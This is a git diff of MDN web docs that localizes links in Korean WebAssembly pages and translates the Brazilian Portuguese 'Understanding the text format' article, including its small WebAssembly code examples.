diff --git a/files/ko/webassembly/concepts/index.md b/files/ko/webassembly/concepts/index.md
index c8abf34c767bb0..91fb060402554e 100644
--- a/files/ko/webassembly/concepts/index.md
+++ b/files/ko/webassembly/concepts/index.md
@@ -50,7 +50,7 @@ WebAssembly는 자바스크립트와는 다른 언어이지만, 자바스크립
 
 어떻게 웹어셈블리가 브라우저에서 돌아가는지 이해하기 위해서 필요한 몇가지 핵심 컨셉들이 있습니다. 이 모든 컨셉은 [웹어셈블리 자바스크립트 API](/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly)에 반영돼있습니다.
 
-- **모듈**: 실행 가능한 컴퓨터 코드로 브라우저에서 컴파일된 WebAssembly 바이너리입니다. 모듈은 stateless이며 [Blob](/ko/docs/Web/API/Blob)처럼 Windows와 [worker](/ko/docs/MDN/Doc_status/API/WebWorkers) 간에 [`postMessage()`](/en-US/docs/Web/API/MessagePort/postMessage)를 통해 명시적으로 공유 할 수 있습니다. 모듈은 ES2015 모듈과 마찬가지로 가져오기 및 내보내기를 선언합니다.
+- **모듈**: 실행 가능한 컴퓨터 코드로 브라우저에서 컴파일된 WebAssembly 바이너리입니다. 모듈은 stateless이며 [Blob](/ko/docs/Web/API/Blob)처럼 Windows와 [worker](/ko/docs/MDN/Doc_status/API/WebWorkers) 간에 [`postMessage()`](/ko/docs/Web/API/MessagePort/postMessage)를 통해 명시적으로 공유 할 수 있습니다. 모듈은 ES2015 모듈과 마찬가지로 가져오기 및 내보내기를 선언합니다.
 - **메모리**: 웹어셈블리의 저수준 메모리 접근 명령어에 의해 읽고 쓰여지는 바이트들의 선형 배열인, 사이즈 조절이 가능한 어레이버퍼(ArrayBuffer)입니다.
 - **테이블**: (안전성이나 이식성 등을 위해서) 날(raw) 바이트로 메모리에 저장될 수 없는 (예를 들면 함수를 가리키는) 레퍼런스의, 사이즈 조절 가능한 형식 지정된 배열입니다.
 - **인스턴스**: 모듈과 그 모듈이 사용하는 모든 상태의 쌍입니다. 모듈의 상태로는 메모리, 테이블, 임포트된 값의 집합 등이 있습니다. 인스턴스는 ES6 모듈처럼 특정한 전역에 특정한 임포트의 집합과 함께 로드됩니다.
diff --git a/files/ko/webassembly/exported_functions/index.md b/files/ko/webassembly/exported_functions/index.md
index c5c869c2d98534..0f5d33bf4d9010 100644
--- a/files/ko/webassembly/exported_functions/index.md
+++ b/files/ko/webassembly/exported_functions/index.md
@@ -13,8 +13,8 @@ Exported WebAssembly functions는 JavaScript에서 WebAssembly 함수를 나타
 
 두 가지 방법으로 내 보낸 WebAssembly 함수를 검색 할 수 있습니다.
 
-- 기존 테이블에서 [`Table.prototype.get()`](/en-US/docs/WebAssembly/API/Table/get)을 호출합니다.
-- [`Instance.exports`](/en-US/docs/WebAssembly/API/Instance/exports)를 통해 wasm 모듈 인스턴스에서 내보낸 함수에 액세스합니다.
+- 기존 테이블에서 [`Table.prototype.get()`](/ko/docs/WebAssembly/API/Table/get)을 호출합니다.
+- [`Instance.exports`](/ko/docs/WebAssembly/API/Instance/exports)를 통해 wasm 모듈 인스턴스에서 내보낸 함수에 액세스합니다.
 
 어느 쪽이든, 기본 함수에 대해 동일한 종류의 래퍼를 사용합니다. JavaScript의 관점에서 볼 때, 모든 wasm 함수가 JavaScript 함수이기도하지만 - 내보낸 wasm 함수 객체 인스턴스에 의해 캡슐화되며 액세스 할 수있는 제한된 방법이 있습니다.
 
@@ -38,13 +38,13 @@ WebAssembly.instantiateStreaming(fetch("table.wasm")).then((obj) => {
 
 {{jsxref("WebAssembly.Table")}}생성자를 사용하여 JavaScript에서 테이블 (`otherTable`)을 만든 다음 {{jsxref("WebAssembly.instantiateStreaming()")}}를 메서드를 사용하여 table.wasm를 우리가 만든 페이지에 로드합니다.
 
-그런 다음 모듈에서 함수를 내보내고 [`tbl.get()`](/en-US/docs/WebAssembly/API/Table/get)을 통해 참조하는 함수를 검색하고 각 함수를 호출 한 결과를 콘솔에 기록합니다. 그런 다음 `set()`을 사용하여 `otherTable` 테이블에 tbl 테이블과 동일한 함수에 대한 참조가 포함되도록합니다.
+그런 다음 모듈에서 함수를 내보내고 [`tbl.get()`](/ko/docs/WebAssembly/API/Table/get)을 통해 참조하는 함수를 검색하고 각 함수를 호출 한 결과를 콘솔에 기록합니다. 그런 다음 `set()`을 사용하여 `otherTable` 테이블에 tbl 테이블과 동일한 함수에 대한 참조가 포함되도록합니다.
 
 이를 증명하기 위해 우리는 이러한 참조를 `otherTable`에서 다시 검색하여 그 결과를 콘솔에도 출력하므로 동일한 결과를 얻을 수 있습니다.
 
 ## They are real functions
 
-앞의 예에서 각 [`Table.prototype.get()`](/en-US/docs/WebAssembly/API/Table/get) 호출의 반환 값은 내 보낸 WebAssembly 함수입니다. 이전에 우리가 이야기했던 대로입니다.
+앞의 예에서 각 [`Table.prototype.get()`](/ko/docs/WebAssembly/API/Table/get) 호출의 반환 값은 내 보낸 WebAssembly 함수입니다. 이전에 우리가 이야기했던 대로입니다.
 
 이것들은 WebAssembly 함수에 대한 래퍼 (wrapper)가 될뿐만 아니라 실제 JavaScript 함수임을 주목할 필요가 있습니다. 위의 예제를 [WebAssembly-supporting browser](/ko/docs/WebAssembly#Browser_compatibility)에 로드하고 콘솔에서 다음 줄을 실행하세요.
 
@@ -53,7 +53,7 @@ var testFunc = otherTable.get(0);
 typeof testFunc;
 ```
 
-그러면 결과 함수(`function`)가 반환됩니다. 그런 다음 JavaScript에서 [`call()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call), [`bind()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) 등의 다른 [functions](/ko/docs/Web/JavaScript/Reference/Global_Objects/Function)를 수행 할 수 있는 기능을 수행 할 수 있습니다. `testFunc.toString()`은 흥미로운 결과를 반환합니다.
+그러면 결과 함수(`function`)가 반환됩니다. 그런 다음 JavaScript에서 [`call()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call), [`bind()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) 등의 다른 [functions](/ko/docs/Web/JavaScript/Reference/Global_Objects/Function)를 수행 할 수 있는 기능을 수행 할 수 있습니다. `testFunc.toString()`은 흥미로운 결과를 반환합니다.
 
 ```js
 function 0() {
diff --git a/files/ko/webassembly/loading_and_running/index.md b/files/ko/webassembly/loading_and_running/index.md
index 6b5d5b7534da22..a6a73b476a6dd7 100644
--- a/files/ko/webassembly/loading_and_running/index.md
+++ b/files/ko/webassembly/loading_and_running/index.md
@@ -82,7 +82,7 @@ WebAssembly.instantiateStreaming(fetch("myModule.wasm"), importObject).then(
 
 ## Using XMLHttpRequest
 
-[`XMLHttpRequest`](/en-US/docs/Web/API/XMLHttpRequest)는 Fetch보다 다소 오래된 방법이지만 형식화 된 배열을 얻는 데 부족함이 없습니다. `simple.wasm`을 그대로 사용하여 진행하겠습니다.
+[`XMLHttpRequest`](/ko/docs/Web/API/XMLHttpRequest)는 Fetch보다 다소 오래된 방법이지만 형식화 된 배열을 얻는 데 부족함이 없습니다. `simple.wasm`을 그대로 사용하여 진행하겠습니다.
 
 1. 새로운 {{domxref("XMLHttpRequest()")}} 인스턴스를 만들고 {{domxref("XMLHttpRequest.open","open()")}} 메서드를 사용하여 요청을 열고 요청 메서드를 GET으로 설정합니다. , 가져올 파일의 경로를 선언하십시오.
 2. 핵심 부분은 {{domxref("XMLHttpRequest.responseType","responseType")}} 속성을 사용하여 응답 유형을 `'arraybuffer'`로 설정하는 것입니다.
diff --git a/files/ko/webassembly/understanding_the_text_format/index.md b/files/ko/webassembly/understanding_the_text_format/index.md
index ebc47f48c228e2..c86da89762fd63 100644
--- a/files/ko/webassembly/understanding_the_text_format/index.md
+++ b/files/ko/webassembly/understanding_the_text_format/index.md
@@ -170,7 +170,7 @@ locals와 마찬가지로 함수는 기본적으로 인덱스로 식별되지만
 
 예제를 따라하려면 위의 모듈을 `add.wat`라는 파일에 저장 한 다음 wabt를 사용하여 `add.wasm`이라는 이진 파일로 변환하십시오 (자세한 내용은 [Converting WebAssembly text format to wasm](/ko/docs/WebAssembly/Text_format_to_wasm) 참조).
 
-다음으로 바이너리를 `addCode` ([Fetching WebAssembly Bytecode](/ko/docs/WebAssembly/Fetching_WebAssembly_bytecode)에서 설명한대로)라는 형식화 된 배열에로드하고, 컴파일 및 인스턴스화 한 다음 자바 스크립트에서 `add` 함수를 실행합니다. (이제 `add()`는 인스턴스의 [`exports`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports) 속성에서 찾을 수 있습니다)
+다음으로 바이너리를 `addCode` ([Fetching WebAssembly Bytecode](/ko/docs/WebAssembly/Fetching_WebAssembly_bytecode)에서 설명한대로)라는 형식화 된 배열에로드하고, 컴파일 및 인스턴스화 한 다음 자바 스크립트에서 `add` 함수를 실행합니다. (이제 `add()`는 인스턴스의 [`exports`](/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports) 속성에서 찾을 수 있습니다)
 
 ```js
 WebAssembly.instantiateStreaming(fetch("add.wasm")).then((obj) => {
@@ -200,7 +200,7 @@ WebAssembly.instantiateStreaming(fetch("add.wasm")).then((obj) => {
 
 > **참고:** `i32.const`는 단지 32 비트 정수를 정의하고 그것을 스택에 푸시합니다. 사용할 수있는 다른 유형의 `i32`를 바꿀 수 있으며 원하는 값으로 const 값을 변경할 수 있습니다 (여기서는 값을 `42`로 설정했습니다).
 
-In this example you’ll notice an `(export "getAnswerPlus1")` section, declared just after the `func` statement in the second function — this is a shorthand way of declaring that we want to export this function, and defining the name we want to export it as.
+In this example you'll notice an `(export "getAnswerPlus1")` section, declared just after the `func` statement in the second function — this is a shorthand way of declaring that we want to export this function, and defining the name we want to export it as.
 
 이는 함수 밖에서, 예전과 같은 방식으로 모듈의 다른 곳에서 별도의 function 문을 포함하는 것과 기능적으로 동일합니다. 예 :
 
@@ -291,9 +291,9 @@ JavaScript의 관점에서 볼 때 크기가 조정 가능한 큰 {{domxref("Arr
 
 따라서 문자열은 이 선형 메모리 내부의 있는 sequence of bytes라고 할 수 있습니다. 우리가 적절한 바이트 문자열을 메모리에 썼다고 가정 해 보고 어떻게 그 문자열을 JavaScript로 전달하는지 보겠습니다.
 
-핵심은 자바 스크립트가 {{jsxref("WebAssembly.Memory()")}} 인터페이스를 통해 WebAssembly 선형 메모리 인스턴스를 생성하고 연관된 인스턴스를 사용하여 기존 메모리 인스턴스에 액세스 할 수 있다는 것입니다 (현재 모듈 인스턴스 당 하나만 가질 수 있음). 메모리 인스턴스에는 [`buffer`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer) getter가 있습니다.이 buffer getter는 전체 선형 메모리를 가리키는 `ArrayBuffer`를 반환합니다.
+핵심은 자바 스크립트가 {{jsxref("WebAssembly.Memory()")}} 인터페이스를 통해 WebAssembly 선형 메모리 인스턴스를 생성하고 연관된 인스턴스를 사용하여 기존 메모리 인스턴스에 액세스 할 수 있다는 것입니다 (현재 모듈 인스턴스 당 하나만 가질 수 있음). 메모리 인스턴스에는 [`buffer`](/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer) getter가 있습니다.이 buffer getter는 전체 선형 메모리를 가리키는 `ArrayBuffer`를 반환합니다.
 
-예를 들어 JavaScript의 [`Memory.grow()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow) 메소드를 통해 메모리 인스턴스를 늘릴 수도 있습니다. grow가 발생하면 `ArrayBuffer`s는 크기를 변경할 수 없기 때문에 현재의 `ArrayBuffer`가 분리되고 더 큰 새 메모리를 가리 키도록 새 `ArrayBuffer`가 만들어집니다. 즉, JavaScript에 문자열을 전달하기 위해 수행해야하는 모든 작업은 길이를 나타내는 방법과 함께 선형 메모리에있는 문자열의 오프셋을 전달하는 것입니다.
+예를 들어 JavaScript의 [`Memory.grow()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow) 메소드를 통해 메모리 인스턴스를 늘릴 수도 있습니다. grow가 발생하면 `ArrayBuffer`s는 크기를 변경할 수 없기 때문에 현재의 `ArrayBuffer`가 분리되고 더 큰 새 메모리를 가리 키도록 새 `ArrayBuffer`가 만들어집니다. 즉, JavaScript에 문자열을 전달하기 위해 수행해야하는 모든 작업은 길이를 나타내는 방법과 함께 선형 메모리에있는 문자열의 오프셋을 전달하는 것입니다.
 
 문자열 자체의 길이를 인코딩하는 방법에는 여러 가지가 있습니다 (예 : C 문자열). 여기서 간단히하기 위해 offset과 length를 매개 변수로 전달합니다.
 
@@ -311,7 +311,7 @@ function consoleLogString(offset, length) {
 }
 ```
 
-이제 남은 부분은 `consoleLogString`이 WebAssembly `memory`에 액세스하는 부분입니다. WebAssembly는 JavaScript로 [`Memory`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory) 객체를 만들고 WebAssembly 모듈에서 메모리를 가져 오거나 WebAssembly 모듈에서 메모리를 만들어 JavaScript로 내보낼 수 있는 유연성을 제공합니다.
+이제 남은 부분은 `consoleLogString`이 WebAssembly `memory`에 액세스하는 부분입니다. WebAssembly는 JavaScript로 [`Memory`](/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory) 객체를 만들고 WebAssembly 모듈에서 메모리를 가져 오거나 WebAssembly 모듈에서 메모리를 만들어 JavaScript로 내보낼 수 있는 유연성을 제공합니다.
 
 간단히하기 위해 JavaScript로 작성한 다음 WebAssembly로 가져와 봅시다. 우리의 `import`statement는 다음과 같이 작성됩니다 :
 
@@ -471,7 +471,7 @@ WebAssembly.instantiateStreaming(fetch("wasm-table.wasm")).then((obj) => {
 
 > **참고:** [wasm-table.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/wasm-table.html)에서 이 예제를 확인할 수 있습니다. ([see it live also](https://mdn.github.io/webassembly-examples/understanding-text-format/wasm-table.html)).
 
-> **참고:** Memory와 마찬가지로 테이블은 자바 스크립트 ([`WebAssembly.Table()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table) 참고)와 다른 wasm 모듈로 가져 오거나 다른 wasm 모듈에서 가져올 수도있다.
+> **참고:** Memory와 마찬가지로 테이블은 자바 스크립트 ([`WebAssembly.Table()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table) 참고)와 다른 wasm 모듈로 가져 오거나 다른 wasm 모듈에서 가져올 수도있다.
 
 ### Mutating tables and dynamic linking
 
@@ -479,7 +479,7 @@ JavaScript는 함수 참조에 대한 모든 액세스 권한을 갖기 때문
 
 테이블은 변경 가능하기 때문에 정교한 로드 시간 및 런타임 [dynamic linking schemes](http://webassembly.org/docs/dynamic-linking)를 구현하는 데 사용할 수 있습니다. 프로그램이 동적으로 링크되면 여러 인스턴스가 동일한 메모리 및 테이블을 공유합니다. 이것은 여러 컴파일 된 `.dll`이 단일 프로세스의 주소 공간을 공유하는 기본 응용 프로그램과 대칭입니다.
 
-이 작업을 보려면 Memory 객체와 Table 객체가 포함 된 단일 가져 오기 객체를 만들고 동일한 가져 오기 객체를 여러 [`instantiate()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate) 호출에 전달합니다.
+이 작업을 보려면 Memory 객체와 Table 객체가 포함 된 단일 가져 오기 객체를 만들고 동일한 가져 오기 객체를 여러 [`instantiate()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate) 호출에 전달합니다.
 
 `.wat` 예제는 다음과 같습니다.
 
diff --git a/files/pt-br/webassembly/understanding_the_text_format/index.md b/files/pt-br/webassembly/understanding_the_text_format/index.md
index 0593ae147af975..6a4853d6daef1f 100644
--- a/files/pt-br/webassembly/understanding_the_text_format/index.md
+++ b/files/pt-br/webassembly/understanding_the_text_format/index.md
@@ -1,201 +1,194 @@
 ---
 title: Entendendo o formato textual do WebAssembly
 slug: WebAssembly/Understanding_the_text_format
-original_slug: WebAssembly/Entendendo_o_formato_textual_do_WebAssembly
 ---
 
 {{WebAssemblySidebar}}
 
-Para permitir que o WebAssembly seja lido e editado por humanos foi criado uma representação textual do código binário wasm. Essa é uma forma textual intermediária desenvolvida para ser usada em editores de textos, ferramentas de desenvolvimento dos navegatores, etc. Esse artigo expica como essa expressão textual funciona, mostrando a sintase de maneira bruta, e como ela está relacionada com o código binário ao qual ela representa - e os objetos que encapsulam o wasm dentro do JavaScript.
+Para permitir que o WebAssembly seja lido e editado por humanos, existe uma representação textual do formato binário Wasm. Este é um formulário intermediário projetado para ser exposto em editores de texto, ferramentas de desenvolvedor de navegador etc. Este artigo explica como esse formato de texto funciona, em termos de sintaxe bruta, e como ele está relacionado ao bytecode subjacente que ele representa — e os objetos wrapper que representam Wasm em JavaScript.
 
-> **Nota:** Esse artigo trata de maneira aprofundada a descrição textual do WebAssembly, se você é um desenvolvedor web que quer apenas carregar algum módulo wasm em seu código JavaScript e usá-lo em sua página web recomendamos que dê uma olhada no seguinte artigo: [Using the WebAssembly JavaScript API](/pt-BR/docs/WebAssembly/Using_the_JavaScript_API). Esse artigo será de grande valia caso você queira otimizar a performance de módulos wasm em seu código JavaScript, ou ainda fazer seu próprio compilador de WebAssembly.
+> **Nota:** Isso pode ser um exagero se você for um desenvolvedor da Web que deseja apenas carregar um módulo Wasm em uma página e usá-lo em seu código (consulte [Usando a API JavaScript WebAssembly](/pt-BR/docs/WebAssembly/Using_the_JavaScript_API)), mas é mais útil se, por exemplo, você deseja escrever módulos Wasm para otimizar o desempenho de sua biblioteca JavaScript ou criar seu próprio compilador WebAssembly.
 
 ## S-expressions
 
-Em seus dois formatos, binário e textual, a unidade fundamental do WebAssembly é um módulo. Na forma textual, um módulo é representado como uma grande S-expression. S-expressions são um tipo bem antigo e simples de representar textualmente árvores de dados, então podemos descrever um módulo como uma árvore de nós que descreve a estrutura e código daquele módulo. Diferente da Árvore Sintática Abstrata de uma linguagem de programação qualquer, a árvore do WebAssembly é bem rasa, consistindo basicamente de uma grande lista de instruções.
+Nos formatos binário e textual, a unidade fundamental de código no WebAssembly é um módulo. No formato de texto, um módulo é representado como uma grande S-expression. As S-expressions são um formato textual muito antigo e muito simples para representar árvores e, portanto, podemos pensar em um módulo como uma árvore de nós que descreve a estrutura do módulo e seu código. Ao contrário da Abstract Syntax Tree de uma linguagem de programação, porém, a árvore do WebAssembly é bastante plana, consistindo principalmente em listas de instruções.
 
-First, let's see what an S-expression looks like. Each node in the tree goes inside a pair of parentheses — `( ... )`. The first label inside the parenthesis tells you what type of node it is, and after that there is a space-separated list of either attributes or child nodes. So that means the WebAssembly S-expression:
+Primeiro, vamos ver como é uma S-expression. Cada nó na árvore vai dentro de um par de parênteses — `( ... )`. O primeiro rótulo dentro dos parênteses informa que tipo de nó é e, depois disso, há uma lista separada por espaços de atributos ou nós filhos. Isso significa a S-expression do WebAssembly:
 
-```
+```wasm
 (module (memory 1) (func))
 ```
 
-represents a tree with the root node "module" and two child nodes, a "memory" node with the attribute "1" and a "func" node. We'll see shortly what these nodes actually mean.
+representa uma árvore com o nó raiz "module" e dois nós filhos, um nó "memory" com o atributo "1" e um nó "func". Veremos em breve o que esses nós realmente significam.
 
-### The simplest module
+### O módulo mais simples
 
-Let's start with the simplest, shortest possible wasm module.
+Vamos começar com o módulo Wasm mais simples e mais curto possível.
 
-```
+```wasm
 (module)
 ```
 
-This module is totally empty, but is still a valid module.
+Este módulo está totalmente vazio, mas ainda é um módulo válido.
 
-If we convert our module to binary now (see [Converting WebAssembly text format to wasm](/pt-BR/docs/WebAssembly/Text_format_to_wasm)), we'll see just the 8 byte module header described in the [binary format](http://webassembly.org/docs/binary-encoding/#high-level-structure):
+Se convertermos nosso módulo para binário agora (consulte [Convertendo o formato de texto WebAssembly para Wasm](/pt-BR/docs/WebAssembly/Text_format_to_Wasm)), veremos apenas o cabeçalho do módulo de 8 bytes descrito no [formato binário](https://webassembly.github.io/spec/core/binary/index.html#high-level-structure):
 
-```
+```wasm
 0000000: 0061 736d              ; WASM_BINARY_MAGIC
-0000004: 0d00 0000              ; WASM_BINARY_VERSION
+0000004: 0100 0000              ; WASM_BINARY_VERSION
 ```
 
-### Adding functionality to your module
+### Adicionando funcionalidade ao seu módulo
 
-Ok, that's not very interesting, let's add some executable code to this module.
+Ok, isso não é muito interessante, vamos adicionar algum código executável a este módulo.
 
-All code in a webassembly module is grouped into functions, which have the following pseudo-code structure:
+Todo o código em um módulo webassembly é agrupado em funções, que possuem a seguinte estrutura de pseudocódigo:
 
-```
-( func <signature> <locals> <body> )
+```wasm
+( func <assinatura> <locais> <corpo> )
 ```
 
-- The **signature** declares what the function takes (parameters) and returns (return values).
-- The **locals** are like vars in JavaScript, but with explicit types declared.
-- The **body** is just a linear list of low-level instructions.
+- A **assinatura** declara o que a função recebe (parâmetros) e retorna (valores de retorno).
+- Os **locais** são como variáveis em JavaScript, mas com tipos explícitos declarados.
+- O **corpo** é apenas uma lista linear de instruções de baixo nível.
 
-So this is similar to functions in other languages, even if it looks different because it is an S-expression.
+Portanto, isso é semelhante a funções em outras linguagens, mesmo que pareça diferente porque é uma S-expression.
 
-## Signatures and parameters
+## Assinaturas e parâmetros
 
-The signature is a sequence of parameter type declarations followed by a list of return type declarations. It is worth noting here that:
+A assinatura é uma sequência de declarações de tipo de parâmetro seguida por uma lista de declarações de tipo de retorno. Vale ressaltar aqui que:
 
-- The absence of a (result) means the function doesn't return anything.
-- In the current iteration, there can be at most 1 return type, but [later this will be relaxed](https://webassembly.org/docs/future-features#multiple-return) to any number.
+- A ausência de um `(result)` significa que a função não retorna nada.
+- Na iteração atual, pode haver no máximo 1 tipo de retorno, mas [posteriormente isso será flexibilizado](https://webassembly.org/docs/future-features#multiple-return) para qualquer número.
 
-Each parameter has a type explicitly declared; wasm currently has four available types:
+Cada parâmetro tem um tipo explicitamente declarado; Wasm [Tipos de número](#number_types), [Tipos de referência](#reference_types), [Tipos de vetor](#vector_types).
+Os tipos de números são:
 
-- `i32`: 32-bit integer
-- `i64`: 64-bit integer
-- `f32`: 32-bit float
-- `f64`: 64-bit float
+- `i32`: inteiro de 32 bits
+- `i64`: inteiro de 64 bits
+- `f32`: flutuante de 32 bits
+- `f64`: flutuante de 64 bits
 
-A single parameter is written `(param i32)` and the return type is written `(result i32)`, hence a binary function that takes two 32-bit integers and returns a 64-bit float would be written like this:
+Um único parâmetro é escrito `(param i32)` e o tipo de retorno é escrito `(result i32)`, portanto, uma função binária que recebe dois inteiros de 32 bits e retorna um float de 64 bits seria escrita assim:
 
-```
-(func (param i32) (param i32) (result f64) ... )
+```wasm
+(func (param i32) (param i32) (result f64) ...)
 ```
 
-After the signature, locals are listed with their type, for example `(local i32)`. Parameters are basically just locals that are initialized with the value of the corresponding argument passed by the caller.
+Após a assinatura, os locais são listados com seu tipo, por exemplo `(local i32)`. Parâmetros são basicamente apenas locais que são inicializados com o valor do argumento correspondente passado pelo chamador.
 
-## Getting and setting locals and parameters
+## Obtendo e configurando locais e parâmetros
 
-Locals/parameters can be read and written by the body of the function with the `get_local` and `set_local` instructions.
+Locais/parâmetros podem ser lidos e escritos pelo corpo da função com as instruções `local.get` e `local.set`.
 
-The `get_local`/`set_local` commands refer to the item to be got/set by its numeric index: parameters are referred to first, in order of their declaration, followed by locals in order of their declaration. So given the following function:
+Os comandos `local.get`/`local.set` referem-se ao item a ser obtido/definido por seu índice numérico: os parâmetros são referidos primeiro, na ordem de sua declaração, seguidos pelos locais na ordem de sua declaração. Assim, dada a seguinte função:
 
-```
+```wasm
 (func (param i32) (param f32) (local f64)
-  get_local 0
-  get_local 1
-  get_local 2)
+  local.get 0
+  local.get 1
+  local.get 2)
 ```
 
-The instruction `get_local 0` would get the i32 parameter, `get_local 1` would get the f32 parameter, and `get_local 2` would get the f64 local.
+A instrução `local.get 0` obteria o parâmetro i32, `local.get 1` obteria o parâmetro f32 e `local.get 2` obteria o f64 local.
 
-There is another issue here — using numeric indices to refer to items can be confusing and annoying, so the text format allows you to name parameters, locals, and most other items simply by including a name prefixed by a dollar symbol (`$`) just before the type declaration.
+Há outro problema aqui - usar índices numéricos para se referir a itens pode ser confuso e irritante, então o formato de texto permite que você nomeie parâmetros, locais e a maioria dos outros itens simplesmente incluindo um nome prefixado por um cifrão (`$`) logo antes da declaração de tipo.
 
-Thus you could rewrite our previous signature like so:
+Assim, você poderia reescrever nossa assinatura anterior assim:
 
-```
-(func (param $p1 i32) (param $p2 f32) (local $loc i32) …)
+```wasm
+(func (param $p1 i32) (param $p2 f32) (local $loc f64) …)
 ```
 
-And then could write `get_local $p1` instead of `get_local 0`, etc. (Note that when this text gets converted to binary, though, the binary will contain only the integer.)
+E então poderia escrever `local.get $p1` em vez de `local.get 0`, etc. (Observe que, quando este texto for convertido em binário, o binário conterá apenas o número inteiro).
 
-## Stack machines
+## Máquinas de pilha
 
-Before we can write a function body, we have to talk about one more thing: stack machines. Although the browser compiles it to something more efficient, wasm execution is defined in terms of a stack machine where the basic idea is that every type of instruction pushes and/or pops a certain number of `i32`/`i64`/`f32`/`f64` values from a stack.
+Antes de podermos escrever um corpo de função, temos que falar sobre mais uma coisa: **máquinas de pilha**. Embora o navegador o compile para algo mais eficiente, a execução do Wasm é definida em termos de uma máquina de pilha onde a ideia básica é que todo tipo de instrução empurra e/ou retira um certo número de valores `i32`/`i64`/`f32`/`f64` para/de uma pilha.
 
-For example, `get_local` is defined to push the value of the local it read onto the stack, and `i32.add` pops two `i32` values (it implicitly grabs the previous two values pushed onto the stack), computes their sum (modulo 2^32) and pushes the resulting i32 value.
+Por exemplo, `local.get` é definido para colocar o valor do local lido na pilha e `i32.add` empurra dois valores `i32` (ele implicitamente pega os dois valores anteriores colocados na pilha), calcula sua soma (módulo 2^32) e empurra o valor `i32` resultante.
 
-When a function is called, it starts with an empty stack which is gradually filled up and emptied as the body's instructions are executed. So for example, after executing the following function:
+Quando uma função é chamada, ela começa com uma pilha vazia que é gradualmente preenchida e esvaziada conforme as instruções do corpo são executadas. Por exemplo, depois de executar a seguinte função:
 
-```
+```wasm
 (func (param $p i32)
-  get_local $p
-  get_local $p
+  (result i32)
+  local.get $p
+  local.get $p
   i32.add)
 ```
 
-The stack contains exactly one `i32` value — the result of the expression (`$p + $p`), which is handled by `i32.add`. The return value of a function is just the final value left on the stack.
+A pilha contém exatamente um valor `i32` — o resultado da expressão (`$p + $p`), que é tratado por `i32.add`. O valor de retorno de uma função é apenas o valor final deixado na pilha.
 
-The WebAssembly validation rules ensure the stack matches exactly: if you declare a `(result f32)`, then the stack must contain exactly one `f32` at the end. If there is no result type, the stack must be empty.
+As regras de validação do WebAssembly garantem que a pilha corresponda exatamente: se você declarar um `(result f32)`, a pilha deve conter exatamente um `f32` no final. Se não houver nenhum tipo de resultado, a pilha deverá estar vazia.
 
-## Our first function body
+## Nosso primeiro corpo funcional
 
-As mentioned before, the function body is simply a list of instructions that are followed as the function is called. Putting this together with what we have already learned, we can finally define a module containing our own simple function:
+Como mencionado anteriormente, o corpo da função é uma lista de instruções que são seguidas conforme a função é chamada. Juntando isso com o que já aprendemos, podemos finalmente definir um módulo contendo nossa própria função simples:
 
-```
+```wasm
 (module
   (func (param $lhs i32) (param $rhs i32) (result i32)
-    get_local $lhs
-    get_local $rhs
+    local.get $lhs
+    local.get $rhs
     i32.add))
 ```
 
-This function gets two parameters, adds them together, and returns the result.
+Esta função obtém dois parâmetros, soma-os e retorna o resultado.
 
-There are a lot more things that can be put inside function bodies, but we will start off simple for now, and you'll see a lot more examples as you go along. For a full list of the available opcodes, consult the [webassembly.org Semantics reference](http://webassembly.org/docs/semantics/).
+Há muito mais coisas que podem ser colocadas dentro dos corpos das funções, mas começaremos simples por enquanto, e você verá muito mais exemplos à medida que avança. Para obter uma lista completa dos opcodes disponíveis, consulte a [referência de semântica webassembly.org](https://webassembly.github.io/spec/core/exec/index.html).
 
-### Calling the function
+### Chamando a função
 
-Our function won't do very much on its own — now we need to call it. How do we do that? Like in an ES2015 module, wasm functions must be explicitly exported by an `export` statement inside the module.
+Nossa função não fará muito sozinha — agora precisamos chamá-la. Como fazemos isso? Como em um módulo ES, as funções Wasm devem ser explicitamente exportadas por uma instrução `export` dentro do módulo.
 
-Like locals, functions are identified by an index by default, but for convenience, they can be named. Let's start by doing this — first, we'll add a name preceded by a dollar sign, just after the `func` keyword:
+Como os locais, as funções são identificadas por um índice por padrão, mas por conveniência, elas podem ser nomeadas. Vamos começar fazendo isso — primeiro, adicionaremos um nome precedido por um cifrão, logo após a palavra-chave `func`:
 
-```
-(func $add … )
+```wasm
+(func $add …)
 ```
 
-Now we need to add an export declaration — this looks like so:
+Agora precisamos adicionar uma declaração de exportação — fica assim:
 
-```
+```wasm
 (export "add" (func $add))
 ```
 
-Here, `add` is the name the function will be identified by in JavaScript whereas `$add` picks out which WebAssembly function inside the Module is being exported.
+Aqui, `add` é o nome pelo qual a função será identificada em JavaScript, enquanto `$add` seleciona qual função WebAssembly dentro do módulo está sendo exportada.
 
-So our final module (for now) looks like this:
+Portanto, nosso módulo final (por enquanto) fica assim:
 
-```
+```wasm
 (module
   (func $add (param $lhs i32) (param $rhs i32) (result i32)
-    get_local $lhs
-    get_local $rhs
+    local.get $lhs
+    local.get $rhs
     i32.add)
   (export "add" (func $add))
 )
 ```
 
-If you want to follow along with the example, save the above our module into a file called `add.wat`, then convert it into a binary file called `add.wasm` using wabt (see [Converting WebAssembly text format to wasm](/pt-BR/docs/WebAssembly/Text_format_to_wasm) for details).
